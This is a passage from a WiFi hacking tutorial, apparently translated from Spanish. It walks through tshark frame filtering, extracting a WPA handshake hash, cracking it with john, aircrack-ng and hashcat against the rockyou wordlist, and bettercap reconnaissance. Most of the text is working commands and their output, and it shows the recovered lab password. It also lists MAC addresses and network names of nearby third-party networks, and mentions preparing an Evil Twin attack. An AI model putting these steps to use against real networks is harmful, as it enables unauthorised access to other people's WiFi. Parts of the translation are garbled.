  Vendor: Information not found in the database
 WIFI_EXT2
  MAC address: 44:48:C1:F1:97:03
  Vendor: Hewlett Packard Enterprise
 Internal
  MAC address: 4C:96:14:2C:47:40
  Vendor: Juniper Networks
  Seasons:
     4C:96:14:2C:47:40
      Vendor: Juniper Networks
      Networks to which the device has been associated: MAPFRE
 iMobile
  MAC address: 4C:96:14:27:B9:84
  Vendor: Juniper Networks
 MOVISTAR_9E71
  MAC address: 94:91:7F:0E:9E:72
  Vendor: ASKEY COMPUTER CORP.
 MiFibra-7BB4
  MAC address: 94:6A:B0:60:7B:B6
  Vendor: Arcadyan Corporation
 MOVISTAR_D8C1
  MAC address: 1C:B0:44:50:D8:C2
  Vendor: ASKEY COMPUTER CORP.
 MiFibra-226A
  MAC Address: 94:6A:B0:9B:22:6C
  Vendor: Arcadyan Corporation
 MOVISTAR_4DE8
  MAC address: 78:29:ED:22:4D:E9
  Vendor: ASKEY COMPUTER CORP.
 Internal
  MAC address: 4C:96:14:27:B9:80
  Vendor: Juniper Networks
 WIFI_EXT
  MAC address: 4C:96:14:27:B9:86
  Vendor: Juniper Networks
 guests
```

```
  MAC address: A8:D0:E5:C1:C9:42
  Vendor: Juniper Networks
 iMobile
  MAC address: A8:D0:E5:C1:C9:44
  Vendor: Juniper Networks
 guests
  MAC address: 4C:96:14:27:B9:82
  Vendor: Juniper Networks
 WIFI_EXT
  MAC address: 4C:96:14:2C:47:46
  Vendor: Juniper Networks
 Internal
  MAC address: A8:D0:E5:C1:C9:40
  Vendor: Juniper Networks
 vodafone18AC
  MAC address: 24:DF:6A:10:18:B4
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
 MOVISTAR_3126
  MAC address: CC:D4:A1:0C:31:28
  Vendor: MitraStar Technology Corp.
 WIFI_EXT
  MAC address: A8:D0:E5:C1:C9:46
  Vendor: Juniper Networks
 Orange-A238
  MAC address: 50:7E:5D:2F:A2:3A
  Vendor: Arcadyan Technology Corporation
 MOVISTAR_1083
  MAC address: F8:8E:85:43:10:84
  Vendor: Comtrend Corporation
 MIWIFI_2G_2Xhs
  MAC address: E4:CA:12:96:21:FE
  Vendor: zte corporation
 Internal2
  MAC address: 44:48:C1:F1:96:A0
  Vendor: Hewlett Packard Enterprise
 WLAN_4A4C
  MAC address: 00:1A:2B:AC:0B:CF
  Vendor: Ayecom Technology Co., Ltd.
 iMovil2
  MAC address: 44:48:C1:F1:96:A4
  Vendor: Hewlett Packard Enterprise
 MOVISTAR_2F95
  MAC address: E8:D1:1B:21:2F:96
  Vendor: ASKEY COMPUTER CORP.
 MOVISTAR_5A18
  MAC address: A4:2B:B0:FB:90:D1
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 WIFI_EXT2
  MAC address: 44:48:C1:F1:96:A3
  Vendor: Hewlett Packard Enterprise
 Unable to get network name (ESSID)
  MAC address: 44:48:C1:F1:96:A1
  Vendor: Hewlett Packard Enterprise
 VILLACRISIS
  MAC address: 84:16:F9:5B:45:B8
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 Unable to get network name (ESSID)
  MAC address: 44:48:C1:F1:96:A2
  Vendor: Hewlett Packard Enterprise
 MOVISTAR_4C30
  MAC address: E2:41:36:08:4C:30
  Vendor: Information not found in the database
 TP-LINK_79D4
  MAC address: D4:6E:0E:F8:79:D4
  Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
 MOVISTAR_1677
  MAC address: 1C:B0:44:D4:16:78
  Vendor: ASKEY COMPUTER CORP.
 Unable to get network name (ESSID)
  MAC address: 4C:1B:86:02:54:EA
  Vendor: Arcadyan Corporation
Non-associated stations:
 34:12:F9:77:49:5E
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
  It is probably a mobile device
  Networks the device has been associated with: BUY & RECYCLE
 00:24:2B:BC:4E:57
  Vendor: Hon Hai Precision Ind. Co.,Ltd.
  Networks to which the device has been associated: MAPFRE
 10:44:00:9C:76:66
  Vendor: HUAWEI TECHNOLOGIES CO.,LTD
  It is probably a mobile device
 4C:96:14:2C:47:40
  Vendor: Juniper Networks
  Networks to which the device has been associated: MAPFRE
 AC:D1:B8:17:91:C0
  Vendor: Hon Hai Precision Ind. Co.,Ltd.
```

What a beauty! It is quite useful even to view the Probe Request packets , contemplating the networks to which the client has been connected in the past, thus being able to subsequently carry out an **Evil Twin** attack , which we will see later.

Analysis of network packets with tshark

So far we have been looking at various filter modes with **tshark** but without devoting a specific section to filter modes. Next, we are going to see different filtering modes, useful for the analysis of packets and captures:

- Probe Request Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==4" 2>/dev/null
 175 22.140053472 JuniperN_2c:47:40 → Broadcast 802.11 178 Probe Request, SN=2376, FN=0, Flags=........C, SSID=WLAN_C311
 185 26.153075819 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1959, FN=0, Flags=........C, SSID=Wlan1
 186 26.234864238 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1963, FN=0, Flags=........C, SSID=Wlan1
 187 26.245021241 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1964, FN=0, Flags=........C, SSID=Wlan1
 188 26.257907684 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1965, FN=0, Flags=........C, SSID=Wlan1
 189 26.268055504 Apple_ed:e2:63 → Broadcast 802.11 214 Probe Request, SN=1966, FN=0, Flags=........C, SSID=Wlan1
```

- Probe Response Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==5" 2>/dev/null
   2 1.617473 XiaomiCo_b1:c5:53 → 32:7d:a9:4f:21:99 802.11 229 Probe Response, SN=1872, FN=0, Flags=........, BI=100, SSID=hacklab
   5 1.628735 XiaomiCo_b1:c5:53 → 32:7d:a9:4f:21:99 802.11 229 Probe Response, SN=1874, FN=0, Flags=........, BI=100, SSID=hacklab
  10 3.698368 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2340, FN=0, Flags=........, BI=100, SSID=hacklab
  12 3.701951 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2341, FN=0, Flags=........, BI=100, SSID=hacklab
  14 3.756735 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2342, FN=0, Flags=........, BI=100, SSID=hacklab
  16 3.759295 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 210 Probe Response, SN=2343, FN=0, Flags=........, BI=100, SSID=hacklab
```

- Association Request Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==0" 2>/dev/null
  22 5.041479 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 802.11 122 Association Request, SN =227, FN=0, Flags=........, SSID=hacklab
```

- Association Response Packages

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==1" 2>/dev/null
  24 5.049663 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 127 Association Response, SN =2346, FN=0, Flags=........
```

- Beacon Packets

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==8" 2>/dev/null
   1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1855, FN =0, Flags=........, BI=100, SSID=hacklab
```

- Authentication package

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -r Capture-01.cap -Y "wlan.fc.type_subtype==11" 2>/dev/null
  18 5.033280 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 802.11 30 Authentication, SN=226, FN=0, Flags=........
  20 5.035840 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 30 Authentication, SN=2344, FN=0, Flags=........
```

- Deauthentication packets

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==12" 2>/dev/null
 200 39.994017471 AskeyCom_d4:16:78 → Broadcast 802.11 38 Deauthentication, SN=0, FN=0, Flags=........
 201 39.994777432 AskeyCom_d4:16:78 → Broadcast 802.11 39 Deauthentication, SN=0, FN=0, Flags=........
 202 39.996199413 Broadcast → AskeyCom_d4:16:78 802.11 38 Deauthentication, SN=1, FN=0, Flags=........
 203 39.996798243 Broadcast → AskeyCom_d4:16:78 802.11 39 Deauthentication, SN=1, FN=0, Flags=........
 205 39.999554640 AskeyCom_d4:16:78 → Broadcast 802.11 38 Deauthentication, SN=2, FN=0, Flags=........
 206 40.000174666 AskeyCom_d4:16:78 → Broadcast 802.11 39 Deauthentication, SN=2, FN=0, Flags=........
```

- Disassociation Packages

```
tshark -i wlan0mon -Y  "  wlan.fc.type_subtype==10  "    2>  /dev/null  #  For this case I couldn't catch any hehe
```

- Clear To Send (CTS) packets

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

```
  183 11.333769733 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  186 11.334796342 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  189 11.336432358 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  192 11.339134653 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  196 11.352502740 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  199 11.357122880 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  204 11.362841524 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  222 11.418923972 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
  224 11.419977797 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
  226 11.427114234 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
  230 11.427645439 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 70 Clear-to-send, Flags=........C
  235 11.430118052 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  240 11.434558344 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  243 11.435567660 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
  246 11.441881524 → XiaomiCo_b1:c5:53 (20:34:fb:b1:c5:53) (RA) 802.11 70 Clear-to-send, Flags=........C
```

- ACK packets

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==29" 2>/dev/null
   44 2.532918866 → XiaomiCo_d0:51:c5 (a4:50:46:d0:51:c5) (RA) 802.11 70 Acknowledgment, Flags=........C
  213 4.870822127 → 72:4f:56:d5:f4:21 (72:4f:56:d5:f4:21) (RA) 802.11 70 Acknowledgment, Flags=........C
  214 4.872287210 → 72:4f:56:27:f7:f5 (72:4f:56:27:f7:f5) (RA) 802.11 70 Acknowledgment, Flags=........C
  215 4.873060680 → 72:4f:56:d5:f4:21 (72:4f:56:d5:f4:21) (RA) 802.11 70 Acknowledgment, Flags=........C
  231 5.792287268 → Pegatron_5b:42:f6 (38:60:77:5b:42:f6) (RA) 802.11 70 Acknowledgment, Flags=........C
  252 6.105136504 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
  254 6.109740279 → HewlettP_f1:96:a3 (44:48:c1:f1:96:a3) (RA) 802.11 70 Acknowledgment, Flags=........C
  268 6.137270470 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
  279 6.161518783 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
  281 6.165512928 → Apple_24:f9:60 (70:14:a6:24:f9:60) (RA) 802.11 70 Acknowledgment, Flags=........C
```

Extraction of the Hash in the Handshake

Although it is not necessary, in case we want to know what we are working with, it is possible to extract the Hash corresponding to the capture where our Handshake is located.

What better than to see our Handshake represented in Hash format, so much so that we have talked about it to not pay a little more attention to it. Currently, **aircrack-ng** has the ' **-J** ' parameter, which is useful for generating a ' **.hccap** ' file.

Why do we want to generate an **HCCAP** file ? Because later, through the **hccap2john** tool , we can transform that file into a hash, just like we would do with **ssh2john** or another similar utility.

So here's a demo:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #ls  _
Capture-01.cap
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack-ng -J myCapture Capture-01.cap
Opening Capture-01.cape wait...
Read 5110 packets. #    BSSID ESSID Encryption
   1 20:34:FB:B1:C5:53 WPA hacklab (1 handshake)
Choosing first network as target.
Opening Capture-01.cape wait...
Read 5110 packets.
1 potential targets
Building Hashcat file...
[  *  ] ESSID (length: 7): hacklab
[  *  ] Key version: 2
[  *  ] BSSID: 20:34:FB:B1:C5:53
[  *  ] ST: 34:41:5D:46:D1:38
[  *  ] annce:
    FE AD BB C5 CA AC 3C 41 52 56 B1 44 5D 61 29 2A
    72 E1 7D 73 6A 5E 16 A5 15 88 E4 9E 58 42 EC 78
[  *  ] snonce:
    47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF 1F
    6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE E0
[  *  ] Key MIC:
    0C 0E B7 91 69 C1 FE FD E5 D9 08 42 2E E4 A5 3C
[  *  ] eapol:
    01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
    01 47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF
    1F 6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE
    E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
    04 01 00 00 0F AC 02 00 00
Successfully written to myCapture.hccap
```

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ls
Capture-01.cap myCapture.hccap
```

Once done, we use **hccap2john** to display the hash:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  hccap2john myCapture.hccap > myHash
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  cat !$
cat myHash
hacklab:  $WPAPSK$hacklab
#61HvgQJHB23RFh2sFppOICEh5FXsNpg8hf5z5qe3UilaDd6ewAmm/TC9ri1yfPj3mekwEJ7KgIFRMGYeQi3xQqdS3eIJWCGSK29gS.21.5I0.Ec............/FppOICEh5FXsNpg8
 ...............................................3X.IE .1uk2.E..1uk2.E..1uk0...........................
................................................................ ...............................................................
............................................/t.... .U....kCht3dkTvxtRY6EWvYdHk:34-41-5d-46-d1-38:20-34-fb-b1-c5-
53:2034fbb1c553::WPA2:myCapture.hccap
```

And that so beautiful that we see, is the Hash corresponding to the password of the WiFi network, which we could simply crack at this point using the **John** tool together with a dictionary.

Brute Force with John

Having already reached this point, we proceed with the brute force attacks. Taking advantage of the previously seen point, since we have a Hash... it is easy to crack the password of the WiFi network using a dictionary through the **John** tool , as follows:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  john --wordlist=/usr/share/wordlists/rockyou.txt myHash --format=wpapsk
Using default input encoding: UTF-8
Loaded 1 password  hash  (wpapsk, WPA/WPA2/PMF/PMKID PSK [PBKDF2-SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  john --show --format=wpapsk myHash
hacklab:vampress1:34-41-5d-46-d1-38:20-34-fb-b1-c5-53:2034fbb1c553::WPA2:myCapture.hccap
1 password  hash  cracked, 0 left
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  echo "Password: $(john --show --format=wpapsk myHash | cut -d ':' -f 2)"
Password: vampress1
```

And there we would have the password of the wireless network, which in this case is **vampress1** .

Brute Force with Aircrack

To crack our Handshake from the aircrack suite itself , we would only have to use this syntax:

- aircrack-ng -w dictionarypath Capture-01.cap

The brute force process would start and once obtained, the cracking phase would stop, showing the password as long as it is found in the specified dictionary:

```
                               aircrack-ng 1.5.2
      [00:00:43] 487370/9822769 keys tested (7440.27 k/s)
      Time left: 20 minutes, 54 seconds 4.96%
                           KEY FOUND  !  [ vampress1 ]
      Master Key       :  9C E8 4E 94 F4 08 12 AC 1F 06 C9 5F CF C8 DE D5
                       EC 70 5C 4B 73 FE 52 7B 02 29 9F 9A 88 E2 B3 74
      Transient Key    :  C6 21 8D E8 62 DD B2 A7 48 65 52 AA E0 C0 8E 85
                       1B 63 D0 1D 9C C0 47 12 DA BF E1 63 12 01 8C 75
                       D3 EF AE C5 E4 62 B7 C7 6E DE D1 05 9D 67 81 BF
                       E7 94 71 D0 8D FE 92 17 61 AC 44 BA 48 E6 F7 B3
      EAPOL HMAC       :  1A EB 42 13 85 E4 A1 FC 99 AF AA 97 4D AA EE 25
```

The computation speed will always depend on our CPU, but we will see a couple of techniques later to increase our computation speed, exceeding 10 million passwords per second.

Brute Force with Hashcat

Since **aircrack** is not capable of shooting by GPU, in case you have a GPU as in my case:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  nvidia-detect
Detected NVIDIA GPUs:
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GP107M [GeForce GTX 1050 Mobile] [10de:1c8d] (rev a1)
```

It is best to use **Hashcat** for these cases. To run the tool, we first need to know what the numerical method corresponding to **WPA** is :

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  hashcat -h |  grep -i wpa
  2500  |  WPA-EAPOL-PBKDF2                                   |  Network Protocols
  2501  |  WPA-EAPOL-PMK                                      |  Network Protocols
 16800  |  WPA-PMKID-PBKDF2                                   |  Network Protocols
 16801  |  WPA-PMKID-PMK                                      |  Network Protocols
```

Once identified (**2500), the first thing we need to do is convert our ' .cap** ' capture to a file of type ' **.hccapx** ', specific to the Hashcat combination. To do this, we run the ' **-j** ' parameter of aircrack (this time it is lowercase):

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack-ng -j hashcatCapture Capture-01.cap
Opening Capture-01.cape wait...
Read 5110 packets. #    BSSID ESSID Encryption
   1 20:34:FB:B1:C5:53 WPA hacklab (1 handshake)
Choosing first network as target.
Opening Capture-01.cape wait...
Read 5110 packets.
1 potential targets
Building Hashcat (3.60+) file...
[  *  ] ESSID (length: 7): hacklab
[  *  ] Key version: 2
[  *  ] BSSID: 20:34:FB:B1:C5:53
[  *  ] ST: 34:41:5D:46:D1:38
[  *  ] annce:
    FE AD BB C5 CA AC 3C 41 52 56 B1 44 5D 61 29 2A
    72 E1 7D 73 6A 5E 16 A5 15 88 E4 9E 58 42 EC 78
[  *  ] snonce:
    47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF 1F
    6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE E0
[  *  ] Key MIC:
    0C 0E B7 91 69 C1 FE FD E5 D9 08 42 2E E4 A5 3C
[  *  ] eapol:
    01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
    01 47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF
    1F 6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE
    E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
    04 01 00 00 0F AC 02 00 00
Successfully written to hashcatCapture.hccapx
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ls
Capture-01.cap hashcatCapture.hccapx
```

Already in possession of this capture, we start the cracking phase using the following syntax:

- hashcat -m 2500 -d 1 rockyou.txt --force -w 3

Obtaining the following results in record time:

```
 ┌─[✗]─[root@parrot]─[/usr/share/wordlists]
└──╼  #  hashcat -m 2500 -d 1 hashcatCapture.hccapx rockyou.txt
hashcat (v5.1.0) starting...
OpenCL Platform  #  1: NVIDIA Corporation
====================================== *  Device  #  1: GeForce GTX 1050, 1010/4040 MB allocatable, 5MCU
OpenCL Platform  #  2: The pocl project
===================================== *  Device  #  2: pthread-Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, skipped.
Hashes: 1 digests  ;  1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
Applicable optimizers: *  Zero-Byte
  *  Single-Hash
  *  Single-Salt
  *  Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger  set  to 90c *  Device  #  1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D
LOCAL_MEM_TYPE=1 -D VENDOR_ID=32 -D CUDA_ARCH=601 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=4 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D
DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=2500 -D _unroll'
Dictionary cache hit: *  Filename..: rockyou.txt
  *  Passwords.: 14344386
  *  Bytes.....: 139921517
  *  Keyspace..: 14344386
ebe21289a38f16ee01a35c240c356e5f:2034fbb1c553:34415d46d138:hacklab:vampress1
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-EAPOL-PBKDF2
Hash.Target......: hacklab (AP:20:34:fb:b1:c5:53 STA:34:41:5d:46:d1:38)
Time.Started.....: Sun Aug 11 19:12:43 2019 (4 secs)
Time.Estimated...: Sun Aug 11 19:12:47 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.  #  1.........: 79177 H/s (7.18ms) @ Accel:128 Loops:64 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 807901/14344386 (5.63%)
Rejected.........: 439261/807901 (54.37%)
Restore.Point....: 728207/14344386 (5.08%)
Restore.Sub.  #  1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.  #  1....: 22lehvez33 -> rodnesha
Hardware.Mon.  #  1..: Temp: 63c Util: 92% Core:1670MHz Mem:3504MHz Bus:8
```

Remember to use the **-d** parameter to specify the device to use. If we want to list the password once cracked (although we also see it in the output listed above), we can do the following:

```
┌─[root@parrot]─[/usr/share/wordlists]
└──╼  #  hashcat --show -m 2500 hashcatCapture.hccapx
ebe21289a38f16ee01a35c240c356e5f:2034fbb1c553:34415d46d138:hacklab:vampress1
```

In this case, for the curious, using a **GeForce GTX 1050** we would be going to 79,177 Hashes per second, which means that in a matter of seconds we can go through the entire rockyou.

Bettercap attack process

All the process carried out up to now can be done from **Bettercap** . Yes, it is true that although for the case seen I prefer to use the conventional method, sometimes I use **Bettercap** for PKMID attacks that I will explain later, for WPA/WPA2 networks without clients.

The first of all to carry out the procedure is to put our network card in monitor mode as detailed in the points previously seen. Later, from **Bettercap** , we can do the following:

```
┌─[root@parrot]─[/opt/bettercap]
└──╼  #  ./bettercap -iface wlan0mon
bettercap v2.24.1 (built  for  linux amd64 with go1.10.4) [type  '  help  '   for  a list of commands]
 wlan0mon » wifi.recon on
[21:07:22] [sys.log] [inf] wifi using interface wlan0mon (e4:70:b8:d3:93:5c)
[21:07:22] [sys.log] [inf] wifi started (min rssi: -200 dBm)
[21:07:22] [sys.log] [inf] wifi channel hopper started.
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point MOVISTAR_49BA (-92 dBm) detected as 84:aa:9c:f1:49:bc (MitraStar Technology Corp.).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point MOVISTAR_2F95 (-93 dBm) detected as e8:d1:1b:21:2f:96 (Askey Computer Corp).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point LowiF7D3 (-84 dBm) detected as 10:62:d0:f6:f7:d8 (Technicolor CH USA Inc.).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point MOVISTAR_A908 (-90 dBm) detected as fc:b4:e6:99:a9:09 (Askey Computer Corp).
 wlan0mon » [21:07:22] [wifi.ap.new] wifi access point devolo-30d32d583e03 (-96 dBm) detected as 30:d3:2d:58:3e:03 (devolo AG).
 wlan0mon » [21:07:24] [wifi.ap.new] wifi access point MOVISTAR_1677 (-54 dBm) detected as 1c:b0:44:d4:16:78 (Askey Computer Corp).
 wlan0mon » [21:07:24] [wifi.ap.new] wifi access point MIWIFI_psGP (-94 dBm) detected as 50:78:b3:ee:bb:ac.
 wlan0mon » [21:07:25] [wifi.ap.new] wifi access point Wlan1 (-81 dBm) detected as f8:8e:85:df:3e:13 (Comtrend Corporation).
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point linksys (-73 dBm) detected as 00:12:17:70:d5:2c (Cisco-Linksys, LLC).
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point devolo-30d32d583c6b (-82 dBm) detected as 30:d3:2d:58:3c:6b (devolo AG).
 wlan0mon » [21:07:27] [wifi.client.new] new station 78:4f:43:24:01:4e (Apple, Inc.) detected  for  linksys (00:12:17:70:d5:2c )
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point MOVISTAR_3126 (-93 dBm) detected as cc:d4:a1:0c:31:28 (MitraStar Technology Corp.).
 wlan0mon » [21:07:27] [wifi.ap.new] wifi access point vodafone4038 (-92 dBm) detected as 28:9e:fc:0c:40:3e (Sagemcom Broadband SAS).
 wlan0mon » [21:07:27] [wifi.client.new] new station f0:7b:cb:04:d7:37 (Hon Hai Precision Ind. Co.,Ltd.) detected  for  linksys (00:12:17
:70:d5:2c)
```

That is, through the **wifi.recon on** command , we monitor the available networks in the environment, just as we would from **airodump** . Once done, for convenience, we filter the results by the number of clients/stations available for the different AP's:

```
wlan0mon »  set  wifi.show.sort clients desc
```

Finally, through the **ticker** utility , we can specify the commands that we want to be executed at regular time intervals. In my case, I will specify that I want to do a screen cleanup followed by the **wifi.show** operation , which will list the access points available in the environment based on the client-level filtering criteria that I specified in the previous operation:

```
wlan0mon »  set  ticker.commands  '  clear;  wifi.show  '
 wlan0mon' ticker on
```

Once we press the 'Enter' key, we will obtain results like these:

```
┌───────n't ──┬──────────n't ┬──────────────┬─────────┬─────────┬──────────
│ RSSI │ BSSID │ SSID │ Encryption │ WPS │ Ch │ Clients ▼ │ Sent │ Recvd │ Seen │
├───────n't ──┼──────────n't ──────────────┼─────────┼─────────┼──────────┤
│ -81 dBm │ 30:d3:2d:58:3c:6b │ devolo-30d32d583c6b │ WPA2 (CCMP, PSK) │ 2.0 │ 11 │ 1 │ 326 B │ 84 B │ 21:15:40 │
│ -69 dBm │ 1c:b0:44:d4:16:85 │ MOVISTAR_PLUS_1677 │ WPA2 (CCMP, PSK) │ 2.0 │ 112 │ 1 │ 516 B │ 344 B │ 21:15:31 │
│ -74 dBm │ 00:12:17:70:d5:2c │ linksys │ OPEN │ │ 11 │ 1 │ 383 kB │ 31 kB │ 21:15:40 │
│ -95 dBm │ fc:b4:e6:99:a9:09 │ MOVISTAR_A908 │ WPA2 (CCMP, PSK) │ 2.0 │ 1 │ │ │ │ 21:15:34 │
│ -87 dBm │ f8:8e:85:df:3e:13 │ Wlan1 │ WPA (TKIP, PSK) │ 1.0 │ 9 │ │ 7.1 kB │ │ 21:15:39 │
│ -95 dBm │ e8:d1:1b:21:2f:96 │ MOVISTAR_2F95 │ WPA2 (CCMP, PSK) │ 2.0 │ 1 │ │ │ │ 21:15:18 │
│ -98 dBm │ d0:17:c2:30:45:7c │ pepephone_ADSLR9C0 │ WPA2 (CCMP, PSK) │ │ 3 │ │ │ │ 21:15:19 │
│ -95 dBm │ cc:d4:a1:0c:31:28 │ MOVISTAR_3126 │ WPA2 (CCMP, PSK) │ 2.0 (not configured) │ 11 │ │ │ │ 21:15:39 │
│ -97 dBm │ a0:ab:1b:45:ad:4f │ MiFibra-FA4C-EXT │ WPA2 (TKIP, PSK) │ 2.0 │ 1 │ │ │ │ 21:15:01 │
```

```
| -90 dBm | 84:aa:9c:f1:49:bc | MOVISTAR_49BA | WPA2 (CCMP, PSK) | 2.0 | 1 | | | | 21:15:35 |
| -93 dBm | 50:78:b3:ee:bb:ac | MIWIFI_psGP | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 21:15:37 |
| -91 dBm | 28:9e:fc:0c:40:3e | vodafone4038 | WPA2 (TKIP, PSK) | 2.0 | 11 | | | | 21:15:40 |
